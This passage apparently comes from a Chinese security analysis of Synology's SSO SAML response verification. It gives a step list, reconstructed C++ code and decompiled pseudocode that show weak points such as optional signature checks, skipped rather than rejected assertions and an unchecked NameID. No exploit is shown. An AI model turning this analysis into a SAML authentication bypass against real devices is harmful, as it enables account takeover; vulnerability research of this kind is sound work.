empty&#34;</span><span leaf=""><br/></span><span leaf=""> 10. 按顺序遍历 Assertions，取第一个通过以下所有检查的：</span><span leaf=""><br/></span><span leaf="">       a. 如果 SSOSAMLClient.verifyMode ∈ {assertion, both}: 验证 Assertion 的签名。</span><span leaf=""><br/></span><span leaf="">          └─ 失败时 SAML_verifySignature 抛出异常（中止整个调用；</span><span leaf=""><br/></span><span leaf="">             这不是跳过 — 后面的 assertions 永远不会到达）。</span><span leaf=""><br/></span><span leaf="">       b. 跳过此 assertion（仅记录日志，不抛出 → 继续到下一个）如果：</span><span leaf=""><br/></span><span leaf="">           - Subject 缺失                                → 日志 &#34;subject is null&#34;</span><span leaf=""><br/></span><span leaf="">           - Issuer 缺失                                 → 日志 &#34;assert issuer is null&#34;</span><span leaf=""><br/></span><span leaf="">           - Issuer ≠ idpEntityId                           → 日志 &#34;issuer does not match: &lt;value&gt;&#34;</span><span leaf=""><br/></span><span leaf="">           - &lt;Conditions&gt; 存在且 now &lt;  NotBefore      → 日志 &#34;Assertion is not yet valid.&#34;</span><span leaf=""><br/></span><span leaf="">           - &lt;Conditions&gt; 存在且 now ≥  NotOnOrAfter   → 日志 &#34;Assertion is no longer valid.&#34;</span><span leaf=""><br/></span><span leaf="">          （如果 Assertion 没有 &lt;Conditions&gt; 元素，有效期窗口</span><span leaf=""><br/></span><span leaf="">           不被强制执行。）</span><span leaf=""><br/></span><span leaf="">       c. 否则所有检查通过：</span><span leaf=""><br/></span><span leaf="">           - nameId = Subject 的 NameID 的 trimmed 文本</span><span leaf=""><br/></span><span leaf="">           - 停止 — 第一个匹配的 assertion 胜出；剩余 assertions</span><span leaf=""><br/></span><span leaf="">             被忽略（二进制在此处跳出循环）。</span><span leaf=""><br/></span><span leaf="">          （NameID 被无条件读取且不做 null 检查：缺失的</span><span leaf=""><br/></span><span leaf="">           NameID 不是跳过条件。）</span><span leaf=""><br/></span><span leaf=""> 11. nameId 不能为空</span><span leaf=""><br/></span><span leaf="">     └─ 为空 → 抛出 &#34;nameId is empty&#34;   （没有 assertion 通过所有检查）</span><span leaf=""><br/></span><span leaf=""> 12. 清理：删除对象树，销毁输入源，</span><span leaf=""><br/></span><span leaf="">     然后 SAMLConfig.term()</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">long</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">SSOSAMLClient::VerifySamlResponse</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> std::string&amp; samlResponseB64)</span><span leaf=""><br/></span><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 1. 初始化 OpenSAML，然后初始化 Xerces。 -------------------------------</span><span leaf=""><br/></span></span><span leaf="">    opensaml::SAMLConfig&amp; saml = </span><span style="color: rgb(0, 92, 197);"><span leaf="">opensaml::SAMLConfig::getConfig</span></span><span leaf="">();</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!saml.</span><span style="color: rgb(0, 92, 197);"><span leaf="">init</span></span><span leaf="">(</span><span style="color: rgb(106, 115, 125);"><span leaf="">/*initXMLTooling=*/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SAMLConfig::getConfig().init failed&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLPlatformUtils::Initialize</span></span><span leaf="">();</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 2. Base64 解码载荷。 --------------------------------------</span><span leaf=""><br/></span></span><span leaf="">    XMLSize_t decodedLen = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    XMLByte*  decoded    = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::Base64::decode</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">reinterpret_cast</span></span><span leaf="">&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> XMLByte*&gt;(samlResponseB64.</span><span style="color: rgb(0, 92, 197);"><span leaf="">data</span></span><span leaf="">()), &amp;decodedLen);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!decoded)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;decoded Fail&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 3. 将 XML 解析为 DOM，然后构建类型化 XMLObject 树。 -----</span><span leaf=""><br/></span></span><span leaf="">    xercesc::MemBufInputSource   </span><span style="color: rgb(36, 41, 46);"><span leaf="">membuf</span></span><span leaf="">(decoded, decodedLen, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SAMLResponse&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    xercesc::Wrapper4InputSource </span><span style="color: rgb(36, 41, 46);"><span leaf="">source</span></span><span leaf="">(&amp;membuf, </span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    xercesc::DOMDocument* doc =</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::XMLToolingConfig::getConfig</span></span><span leaf="">().</span><span style="color: rgb(0, 92, 197);"><span leaf="">getParser</span></span><span leaf="">().</span><span style="color: rgb(0, 92, 197);"><span leaf="">parse</span></span><span leaf="">(source);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!doc)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;doc is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    xmltooling::XMLObject* object =</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xmltooling::XMLObjectBuilder::buildOneFromElement</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">            doc-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getDocumentElement</span></span><span leaf="">(), </span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!object)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;source is null&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 4. 如果 verifyMode 为 &#34;response&#34; 或 &#34;both&#34;，验证 &lt;Response&gt;</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//        签名。 -------------------------------------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;response&#34;</span></span><span leaf=""> || </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">auto</span></span><span leaf="">* signable = </span><span style="color: rgb(215, 58, 73);"><span leaf="">dynamic_cast</span></span><span leaf="">&lt;xmltooling::SignableObject*&gt;(object);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!signable)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;signable is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!signable-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">())</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;getSignature is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">verifySignature</span></span><span leaf="">(signable-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">());</span><span leaf=""><br/></span><span leaf="">    }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 5. 消息必须是 samlp:Response。 ---------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">auto</span></span><span leaf="">* response = </span><span style="color: rgb(215, 58, 73);"><span leaf="">dynamic_cast</span></span><span leaf="">&lt;opensaml::saml2p::Response*&gt;(object);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!response)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;message was not a samlp:Response&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 6. SAML 状态必须为 &#34;Success&#34;。null 的 Status、null 的</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//        StatusCode，或任何非 SUCCESS 的值都抛出相同的错误。</span><span leaf=""><br/></span></span><span leaf="">    opensaml::saml2p::Status* status = response-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getStatus</span></span><span leaf="">();</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!status</span><span leaf=""><br/></span><span leaf="">        || !status-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getStatusCode</span></span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">        || !</span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::equals</span></span><span leaf="">(status-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getStatusCode</span></span><span leaf="">()-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getValue</span></span><span leaf="">(),</span><span leaf=""><br/></span><span leaf="">                                       opensaml::saml2p::StatusCode::SUCCESS))</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;attribute authority returned a SAML error&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 7. 对 Response 进行 Schema 验证。 -----------------------------------</span><span leaf=""><br/></span></span><span leaf="">    xmltooling::SchemaValidators.</span><span style="color: rgb(0, 92, 197);"><span leaf="">validate</span></span><span leaf="">(response);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 8. Response 的 Issuer 必须匹配配置的 IdP entity id。 -----</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!response-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getIssuer</span></span><span leaf="">())</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;issuer is null&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">* issuerUtf8 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::transcode</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">        response-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getIssuer</span></span><span leaf="">()-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getTextContent</span></span><span leaf="">());</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!issuerUtf8)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::logic_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;basic_string: construction from null is not valid&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::trim</span></span><span leaf="">(issuerUtf8);</span><span leaf=""><br/></span><span leaf="">    std::string </span><span style="color: rgb(36, 41, 46);"><span leaf="">issuer</span></span><span leaf="">(issuerUtf8);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::release</span></span><span leaf="">(&amp;issuerUtf8);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (issuer != </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;idpEntityId)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;issuer does not match: &#34;</span></span><span leaf=""> + issuer);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_DEBUG, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d issuer: %s:%s&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">377</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">           idpEntityId.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">(), issuer.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">());</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 9. 必须包含至少一个 &lt;Assertion&gt;。 -------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span leaf=""> std::vector&lt;opensaml::saml2::Assertion*&gt;&amp; assertions =</span><span leaf=""><br/></span><span leaf="">        response-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getAssertions</span></span><span leaf="">();</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (assertions.</span><span style="color: rgb(0, 92, 197);"><span leaf="">empty</span></span><span leaf="">())</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;resolve is empty&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 10. 从第一个通过所有检查的 Assertion 中取 NameID。</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//         失败的检查仅记录日志（不抛出），然后移到下一个</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//         assertion。 ---------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> (opensaml::saml2::Assertion* assertion : assertions) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10a. 可选的逐 assertion 签名检查。</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;assertion&#34;</span></span><span leaf=""> || </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;verifyMode == </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;both&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">verifySignature</span></span><span leaf="">(assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSignature</span></span><span leaf="">());</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10b. Subject 必须存在。</span><span leaf=""><br/></span></span><span leaf="">        opensaml::saml2::Subject* subject = assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getSubject</span></span><span leaf="">();</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!subject) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d subject is null&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">394</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10c. Issuer 必须存在。</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getIssuer</span></span><span leaf="">()) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d assert issuer is null&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">399</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10d. Assertion 的 Issuer 文本必须匹配配置的 IdP entity id。</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//      （内联的 getTextContent + transcode + trim -&gt; std::string）</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">* aIssuerUtf8 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::transcode</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">            assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getIssuer</span></span><span leaf="">()-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getTextContent</span></span><span leaf="">());</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!aIssuerUtf8)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::logic_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;basic_string: construction from null is not valid&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::trim</span></span><span leaf="">(aIssuerUtf8);</span><span leaf=""><br/></span><span leaf="">        std::string </span><span style="color: rgb(36, 41, 46);"><span leaf="">assertionIssuer</span></span><span leaf="">(aIssuerUtf8);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::release</span></span><span leaf="">(&amp;aIssuerUtf8);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (assertionIssuer != </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;idpEntityId) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d issuer does not match: %s&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">406</span></span><span leaf="">, assertionIssuer.</span><span style="color: rgb(0, 92, 197);"><span leaf="">c_str</span></span><span leaf="">());</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10e. 如果 &lt;Conditions&gt; 存在，强制执行有效期窗口。</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (opensaml::saml2::Conditions* cond = assertion-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getConditions</span></span><span leaf="">()) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">time_t</span></span><span leaf=""> now = </span><span style="color: rgb(0, 92, 197);"><span leaf="">time</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (now &lt; cond-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getNotBefore</span></span><span leaf="">()) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d Assertion is not yet valid.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">413</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (now &gt;= cond-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getNotOnOrAfter</span></span><span leaf="">()) {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">syslog</span></span><span leaf="">(LOG_ERR, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%s:%d Assertion is no longer valid.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sso_saml.cpp&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">418</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// 10f. 所有检查通过：此 assertion 的 NameID 即为用户。停止。</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">//      （内联的 getTextContent + transcode + trim -&gt; std::string）</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">* nameIdUtf8 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::transcode</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">            subject-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getNameID</span></span><span leaf="">()-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">getTextContent</span></span><span leaf="">());</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (!nameIdUtf8)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::logic_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;basic_string: construction from null is not valid&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::trim</span></span><span leaf="">(nameIdUtf8);</span><span leaf=""><br/></span><span leaf="">        m_nameId = nameIdUtf8;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">xercesc::XMLString::release</span></span><span leaf="">(&amp;nameIdUtf8);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 11. 必须已提取到用户。 -------------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (m_nameId.</span><span style="color: rgb(0, 92, 197);"><span leaf="">empty</span></span><span leaf="">())</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">throw</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">std::runtime_error</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;nameId is empty&#34;</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// --- 12. 清理。 ------------------------------------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">delete</span></span><span leaf=""> object;          </span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">opensaml::SAMLConfig::getConfig</span></span><span leaf="">().</span><span style="color: rgb(0, 92, 197);"><span leaf="">term</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">SYNO::SSO::SSOSAMLClient::VerifySamlResponse</span></span><span leaf="">(__int64 a1, _QWORD *a2)</span><span leaf=""><br/></span><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  Config = </span><span style="color: rgb(0, 92, 197);"><span leaf="">opensaml::SAMLConfig::getConfig</span></span><span leaf="">((opensaml::SAMLConfig *)a1);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !(*(</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">__int8</span></span><span leaf=""> (__fastcall **)(__int64, __int64))(*(_QWORD *)Config + </span><span style="color: rgb(0, 92, 197);"><span leaf="">16LL</span></span><span leaf="">))(Config, </span><span style="color: rgb(0, 92, 197);"><span leaf="">1LL</span></span><span leaf="">) )</span><span leaf=""><br/></span><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [...]</span><span leaf=""><br/></span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 